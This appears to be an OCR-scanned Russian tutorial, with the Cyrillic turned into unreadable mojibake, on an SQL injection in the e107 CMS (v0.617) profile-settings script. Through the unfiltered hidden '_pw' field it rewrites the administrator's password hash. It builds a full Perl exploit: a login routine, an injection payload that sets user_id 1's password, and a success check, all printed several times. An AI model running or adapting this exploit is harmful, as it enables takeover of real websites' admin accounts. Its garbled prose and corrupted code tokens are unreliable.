Ceitgac MBI pacCMOTpUM OIMKOKY HaiineHHyI0 B CMS €107 KoTOpast Mo3BOJISET 37I0yMBIIUIEHHUKY CMEHUTD apoiIb
aJIMUHHCTPATOpa Ha MTPOU3BOJILHBIHA. YSI3BUMOCTH CYIIECTBYET B CKPHIITE U3MEHEHHMsI IaHHBIX B nipodaiine. OTkpoiiTe daiin
usersettings.php — OH HaxoIHTCs B IMarke Kyaa Bel ycTaHOBWIHN €107 — 1 oOpaTtnTe BHIMaHHE Ha CTPOoKy 198:

$sql -> db_Update(""user", "user_password='Spassword’, user_sess='".$sql->escape(Suser_sess)."",
user_email="".check_email($_POST['email'])."', user_homepage="".§_POST|['website']."", user_icq="".$sql-
>escape($_POST(['icq'])."', user_aim='".§ POST['aim']."', user_msn="".§ POST['msn']."’, user_location="".
$_POST|['location']."', user_birthday='".$birthday."', user_signature='".§ POST|'signature']."’, user_image="".$sql-
>escape($_POST['image'])."', user_timezone='".$sql->escape($_POST['user_timezone'])."', user_hideemail="'".$sql-
>escape($_POST['hideemail'])."’, user_login='".§ POST]['realname']."', user_customtitle="".$sql-
>escape($_POST('customtitle'])."' WHERE user_id="".$sql->escape($inp, false)."' "");

Ecnu Bol getansHO U3ydnTe KO TO YBUIUTE UTO TYT MHOKeCTBO SQL-unbekumii. Ho HaM HY>KHO TOJIBKO OIHO — CMEHUTh
apojb aIMUHACTPATOPA. DTO MbI CMOKEM CJIENIATh TOJIBKO MOJyIENaB epeMennyto $password Tak-kak oHa H3MEHSIETCS camast
nepBasi, CIeI0BaTEIbHO U3MEHUB ATy MEPEMEHHYIO MBI MOXKEM BBICTPOHTH Jlajbllle KakoW yroHo 3anpoc. Tenepsb nepeianre Ha
cTpoky 121 u mocMoTpuTe ClEeAYONIMNA KOA:

if($_POST|['passwordl'] =="" || $_POST['password2'] == ""){
$password =$_POST|['_pw'];

}else{
$password = mdS($_POST['password1']);

}

Conexpumoe $ POST['password1'] u $ POST['password2'] 3an0iHSIOTCS IPH U3MEHEHHUHU TI0JIb30BATEIEM CBOETO
TeKyIiero napoiisi. Eciu oHu 3amosHeHs! TO B iepeMenHyto $password 3aHocuTes 3amudpoBaHHoe 3HAYCHUE U3
$ POST['passwordl'].
Ecnu ke HeT To AaHHO# nepemMeHHoi nmpucBanBaercs 3Hadenue uz $ POST[' pw']. kak Bugso - $§ POST[' pw'] npu aTOM HuKaK
He QuibTpyeTcs. Teneps HaM HY>KHO 0OHapyXUTh oie "' pw' Ha CTpaHWYKE U3MEHEHHS PO M TOCMOTPETH UTO K€ B HEM
XpaHuTcs. He TpynHO morazaTbest 4To B HEM XPaHUTHCS TEKYIIMH XAII ITAapoJIsl OJIb30BATENS, H3MEHSIOMIETO CBOH Mpodair.
BoiinuTe mox cBOMM IONB30BaTeNeM U KIMKHHATE Ha cChUIKY "Hactpotiku". Jlanee oTKpoiiTe KoJ| TeKyIel CTpaHWIKH U 00paTHTe
BHHMaHHE Ha CJIETYIOIINE CTPOKH:
<input type="hidden' name='_uid' value="' />
<input type="hidden' name='_pw' value='f561aaf6ef0bf14d4208bb46adccb3ad' />
<input type="hidden' name='_user_sess' value=""' />

Kak BuauTe MBI He OIUOIICE — B CKPBITOM 1o ' pw'" NeHCTBUTEFHO XPAHUTCS XA TEKYILETro TOIb30BaTeNs.
CoOTBETCTBEHHO HaM HaJl0 OyZIeT 3aMEHUTH €ro COACPKUMOE Ha X311 OYIyIIero mapoiisi aJMHHICTPATOPa U JOTHCATh OCTAIbHON
3a1poc, a OCTATKK HACTOSIIETO 3arpoca 00pe3aTh 3HAKOM KOMMEHTapHsL.

Hanucanmue 3xcnJoiira.
ITepeitném k cnenyrorieit memu. Pabota Harero skcronta OyaeT MPOUCXOAUTh B TPU dTara:
1. Asrtopuzarus.
2. DBrImonHeHne aTaky.
3. TIlIpoBepka pe3ynbpTara HalaJaeHUS.
CoOOTBETCTBEHHO KOJI AKCILIOWTA OYIET COCTOSATH U3 TPEX (HYHKIIHH.
[TepBoit MbI HamuIIeM QYHKIUIO aBTopu3anui. OHa qoybKHA OyIeT OTIPABHUTH JIOTHH M MApOoIk CKpUnTy index.php.
®dopma aBTOpH3aIMK COCTOUT U3 TPEX MoJieH — username, userpass 1 autologin. COOTBETCTBEHHO KOJI HAIIIETO IKCILIONTA OyaeT
TaKOM:

use LWP::UserAgent;
use HTTP::Cookies;
# Braouaem nmoaep:kky cookies
Sclient = LWP::UserAgent->new();
$cookie jar = HTTP::Cookies->new();
Sclient->cookie_jar($cookie jar);
# 3anoJiHsieM NepeMeHHbIe
Surl = 'http://e107/'; # URI caiita c e107
$login = 'Manya'; # Jorun
$password = 'xxx'; # napoJnb
$profile_script="usersettings.php'; # uMs ckpunTa usMeHenus npoduis
# QyHKIUSI ABTOPU3ALUHU
sub login(){

$answer=$client->post(

Surl,

[

'username' => $login,



'userpass' => $password,
'autologin'=> 1"
|
)3
# Ko Haxoasimuiicss HUKe 3anMIIeT NpUILEAIINI ¢ cepBepa oTBeT B html-¢aiin
open(LOG,">> C:/file.html");
$text = $answer->content;

print(LOG S$text);
close(LOG);

}

&login();

Kak BrI yxe 3aMeTHin — B CKpHUIITE €CTh KOJI KOTOPBIN 3alTUCHIBACT MPUIIESAIINN ¢ cepBepa oTBeT B html-daitn. 310 Hy)HO 111
otnanku. Bapyr uro To moiaér He Tak. S coxpaHwt Ham Oymymuit skcrutout mox uMmeHeM el07.pl Ha nucke C. Teneps naBaiite
3aIlyCTUM €Tro Yepe3 KoMaHAHYo cTpoky (perl c:\e107.pl). B mamke rae y Bac neXuT SKCIUIONT JODKEH MOSBUTHCS ¢aiin file.html.
JlaBaiiTe oTkpoeM ero. XM... Ha CpaHUIle UMeeTcsl JopMa aBTOPU3aIMH, 10 BUAUMOMY aBTOPH3ALMS HE MPOIILIA — YTO MOYKET
CHJILHO 033/1a4UTh, BEJIb MbI 3aIIOJIHIJIM U OTIIPaBUIN Bce 3 mouist popmbl. [laBaiiTe momnbITaeMcsi HAWTH OTBET B KOJIE CKPUIITA
KOTOPBIH MPOBOAMT aBTOPH3ALI0. ITO cKpunT class2.php Haxoxsiuiics Tak xe B nupekropun e107. OOparute BHUMaHUE Ha
ctpouku 345-348:

if(IsSet($_POST['userlogin'])){

@require_once(e_ HANDLER."login.php");

Susr = new userlogin($_POST['username'], § POST['userpass'],$ POST['autologin']);
}

3HaYNT A1 YCIENTHON aBTOPU3allMi HaM HY>KHO 3aroJIHUTh emé u rnoine userlogin. Tounee 310 He mofie a KHomka. Bot e€ xox 3
Koz1a opMbl aBTOPHU3AIUH:

<input class="button" name="userlogin" value="Bxoa" type="submit'>

Taxkas nmpo0irema BcTpedaeTcst J0BOJIHHO YacTo. COOTBETCTBEHHO HAM HAJI0 ceiyac JOOABHUTH B KOJI KCILIONTA €€ OJTHO TOJIE:
'userlogin'=>'1". Ha naHHBIil MOMCHT KOJI IOJIY4aCTCsI CIICTYFOTIIHIA:

use LWP::UserAgent;

use HTTP::Cookies;

# Braouaem nmoaep:kky cookies
Sclient = LWP::UserAgent->new();
$cookie jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);

# 3anoJiHsieM NepeMeHHbIe
Surl = 'http://e107/'; # URI caiita c e107
$login = 'Manya'; # sorun
$Spassword = 'xxx'; # mapoJanb
$profile_script="usersettings.php'; # ums ckpunta 3MeHeHust NpopuJIs

# ¢pyHKUIUS aBTOPU3ALMH

sub login(){

$answer=$client->post(
Surl,

[

'username' => $login,
'userpass' => $password,
'autologin'=> 1",
'userlogin'=>'1"

|

)3

open(LOG,">> C:/file.html");
$text = Sanswer->content;

print(LOG S$text);
close(LOG);

}

&login();

VY nanute ¢aiin file.html n 3anmycrure skcrutont cHoBa. Kak Bunure B (aitne file.html mosBuicst penupexT Ha riIaBHYIO
CTpaHHUIly aTaKyeMoro caiita. 3HauuT aBropusanus npouuia!l Benb korna Bel aBTopusupyiTecs Ha caiiTe TO MOMajjaeTe Ha
TJIaBHYIO CTPaHUILY.

Tenepb MokeTe yOpaTh KO KOTOPBIN 3alMChIBAJ OTBET cepBepa B (hailil. A [uis MPOBEPKU aBTOPHU3AIUN HAM HYKHO


file:///C:/e107.pl

Halucarb COOTBeTCTByIOHII/Iﬁ Kona. HpOBepKa yzLaquﬁ aBTOpU3aAlNU 6yz1eT npocCTasi — €CJI B OTBETC CEPBEPA UMECTCA KO/

nepeajipecaliy — aBTOPH3aIlys PoIia yereiHo. [lepeMenHyro, B KOTOpYo Oy/aeT 3aHecéH NPU3HAK aBTOPH3AIMH OOBSIBUM B
Havaiie ckpunTa. 5 o6bsBrI €€ mocie nepemennoi $profile script:

$true_login="document.location';
A BOT KOJ1 caMOi IPOBEPKHU:

$resp_text=Sanswer->content;
if (Sresp_text=~s/$true_login//){
print "Login - OK\n";
} else {
print "Login - FILED\n";
}

Ero HyxHO n00aBuTh B KOHel pyHKIMH login() 3a MECTO KO1a KOTOPBIH 3alMChIBANI OTBET CEpBepa B (aii.
[Janee na ouepenu ¢pynknus sqlinj() kotopas OyaeT NPOU3BOIAMUTH aTaKy. :

sub sqlinj{
# IlepemMeHHas ¢ X31eM HOBOI'0 MapoJisi AAMHHUCTPaTopa (mapoJs - 1)
Shash="'c4ca4238a0b923820dcc509a6f75849b’;
# ocyuecTBJjisieM post-3anpoc
$answer=$client->post(
$url.$Sprofile_script,
[

'name’' => 'Manya’',
'realname’ => 'xxx',

'email' =>'kuzya@lllef.ru',
'hideemail’ =>"'0',

'icq' =>'546849326548',

'user_timezone' =>'-12',

'updatesettings' =>"'1",

' pw' => $hash."', user_sess='"', user_email="you@you.com', user_homepage=user(), user_icq=1545,
user_aim="", user_msn="", user_location="", user_birthday="", user_signature='', user_image="", user_timezone='-2',
user_hideemail='0', user_login="", user_customtitle="" WHERE user_id="1"'/*"

]

)

}

Bor Takas npoctenbkas GyHKIMs aTaky. B nocieanee nose Mbl BirouaeM sql-3ampoc B KOHIIE KOTOPOTO UMEETCsl KOHCTPYKIIHS
WHERE user id=1, 1 — id agmuHmCcTpaTOpa.
Kax s y>xe roBopui - cieom 3a sqlinj() Ham Ha/l0 HanKcaTh KOA KOTOPBIH yOeIUThCsl B TOM YTO IapOJib CMEHEH.

JanHas GyHKINS IPOCTO MOIBITACTCS aBTOPH3NPOBATHCS O ITAPOJIEM aIMHHHUCTPAaTOpa KOTOPHIH yKa3zand MbL. Bot eé
kox (mouru xorms login()):

sub check_attack(){
# Huk 1 HOBBIil apoJIb AIMHUHHCTPATOPA
$adm_login="Kuzya';
$adm_pass="1";

$answer=$client->post(
Surl,
[
'username' => $adm_login,
'userpass' => $adm_pass,
'autologin'=>'1",
'userlogin'=>'1"
|
)3
$resp_text=Sanswer->content;
if (Sresp_text=~s/$true_login//){
print "Attack - OK\n";
} else {
print "Attack - FILED\n"';
}



}

Bcé, Bce (hyHKIMH TOTOBBI, OCTANIOCh 00BEEHUTh UX B OJIHO 1ieJ10€. BOT MOHBII KO/l HAIIero SKCILIONTA:

#!usr/bin/perl

H:

# exploit for e107 v0.617

3+ H H

use LWP::UserAgent;
use HTTP::Cookies;

# Braouaem nmoaep:kky cookies
Sclient = LWP::UserAgent->new();
$cookie jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
# 3anoJiHsieM NepeMeHHbIe
Surl = 'http://e107/'; # URI caiita c e107
$login = 'Manya'; # sorun
$Spassword = 'xxx'; # mapoanb
$profile_script="usersettings.php'; # umsi ckpunTa 3MeHeHusI TPopuIIs
$true_login="document.location';
# QyHKUUSI ABTOPU3ALUHU
sub login(){
$answer=$client->post(
Surl,
[
'username' => $login,
'userpass' => $password,
'autologin'=> '1",
'userlogin'=>'1"
|
)3
# mpoBepsieM KaK MPOIILJIa aABTOPU3AIAS
Sresp_text=$answer->content;
if (Sresp_text=~s/$true_login//){
print "Login - OK\n";
} else §{
print "Login - FILED\n";
}

}

sub sqlinj{
$hash='c4c¢a4238a0b923820dcc509a6f75849b’;
$answer=$client->post(
$url.$profile_script,
[

'name’ =>'Kuzya',
'realname’ => 'xxx',

'email' =>'kuzya@lllef.ru',
'hideemail' =>"'0',

'icq' =>'546849326548',

'user_timezone' =>'-12',

'updatesettings' =>"'1",

' pw' => $hash."', user_sess='"', user_email="you@you.com', user_homepage=user(), user_icq=1545,
user_aim="", user_msn="", user_location="", user_birthday="", user_signature='', user_image="", user_timezone='-2',
user_hideemail='0', user_login="", user_customtitle="" WHERE user_id="1'/*"

|

);

}

sub check_attack(){

# JloruH U HOBBIN NAPOJIb AAMMHUCPATOPA
$adm_login="Kuzya';
$adm_pass="1";
$answer=$client->post(

Surl,



[
'username' => $adm_login,
'userpass' => $adm_pass,
'autologin'=> '1",
'userlogin'=>'1"
]
)3
# mpoBepKa Ha yIaYHYH ABTOPH3AIHIO
$resp_text=Sanswer->content;
if (Sresp_text=~s/$true_login//){
print "Attack - OK\n"';
} else {
print "Attack - FILED\n";
}

}

# BbI3bIBaeM Bce (DYHKIIMH B HY’KHOM NOpPSIKe
&login();

print "Attacking...\n";

&sqlinj();

&check_attack();



